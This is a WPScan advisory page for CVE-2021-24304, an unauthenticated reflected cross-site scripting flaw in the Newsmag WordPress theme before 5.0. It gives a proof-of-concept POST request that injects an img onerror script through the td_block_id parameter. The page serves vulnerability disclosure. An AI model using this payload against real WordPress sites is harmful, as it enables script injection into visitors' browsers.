WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

Themes Vulnerabilities

Newsmag < 5.0 - Unauthenticated Reflected Cross-site Scripting (XSS)

Description

The theme does not sanitise the td_block_id parameter in its td_ajax_block  AJAX action, leading to an unauthenticated Reflected Cross-site Scripting (XSS) vulnerability.

Due to a nonce check, this issue is only exploitable on unauthenticated users (for as long as the nonce used in the request is valid)

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 136
Connection: close

action=td_ajax_block&td_block_id="><img+src+onerror=alert(document.domain)>&block_type=td_block_related_posts&td_magic_token=59c7ec0654 

Affects Themes

Newsmag
Fixed in version 5.0

References

CVE
CVE-2021-24304

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Truoc Phan

Submitter

Truoc Phan

Submitter website
https://www.facebook.com/292706121240740
Submitter twitter
truocphan
Verified

Yes

WPVDB ID
bb71f2f9-76bd-43f4-a8c9-35771dd28dff

Timeline

Publicly Published

2021-07-12 (about 1 years ago)

Added

2021-07-12 (about 1 years ago)

Last Updated

2022-02-06 (about 6 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us